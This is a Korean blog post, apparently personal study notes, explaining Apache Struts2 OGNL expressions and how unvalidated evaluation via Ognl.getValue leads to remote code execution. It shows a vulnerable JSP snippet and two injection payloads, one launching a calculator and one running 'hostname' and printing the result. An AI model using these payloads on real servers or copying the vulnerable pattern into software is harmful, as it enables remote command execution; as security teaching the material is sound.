티스토리 뷰
Apache Struts2
OGNL (Object Graph Navigation Language)
-> 밸류스택에 저장된 여러 액션 객체의 정보를 얻어옴.
(struts2에서는 액션이 실행될 때마다 액션이 스택에 저장됨)
표현식 예시)
아이디: <input type="text" name="userid" value="${userid}"/>
<s:textfield label="아이디" name="userid" value="%{userid}"/>
OGNL 참조객체 (#로 참조)
application |
session |
value stack |
request |
parameters |
attribute |
ex) 세션맵의 유저 참조: <s:property value = "#session.user"/>
ex) 밸류스택 사용: <s:property value = "username"/>
<Apache Struts2 취약점>
Apache Struts2 취약점의 대부분이 표현식 평가부분에서 발생함.
그 함수중 하나가 ognl.getValue()
[취약한 코드] <% string param = request.getParameter("p"); OgnlContext ctx = new OgnlContext(); Object value = Ognl.getValue(param, ctx, ""); %> <%= value %> |
get 파라미터 값을 Ognl.getValue 에서 검증없이 명령어를 실행하여 원격코드실행이 가능함.
[계산기 원격 실행] ~.jsp?p=@java.lang.Runtime@getRuntime().exec('calc') |
[원격실행 결과 출력] ~.jsp?p=@org.apache.Struts2.ServletActionContext@getResponse().getWriter(). (@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('hostname').getInputStream()) getRuntime으로 운영체제 명령 실행 -> getInputStream으로 결과값 받아옴 -> toString으로 형변환 -> getWriter로 출력 |
'WEB > -' 카테고리의 다른 글
LIKE문을 이용한 Blind SQL Injection (0) | 2018.06.29 |
---|---|
웹 취약점 점검항목 28개 (0) | 2017.08.03 |
Lucy-XSS Filter (0) | 2017.06.21 |
PreparedStatement 가 인젝션에 안전한 이유 (0) | 2017.06.13 |
웹 취약점 및 대응방안 (0) | 2017.06.12 |
- Total
- Today
- Yesterday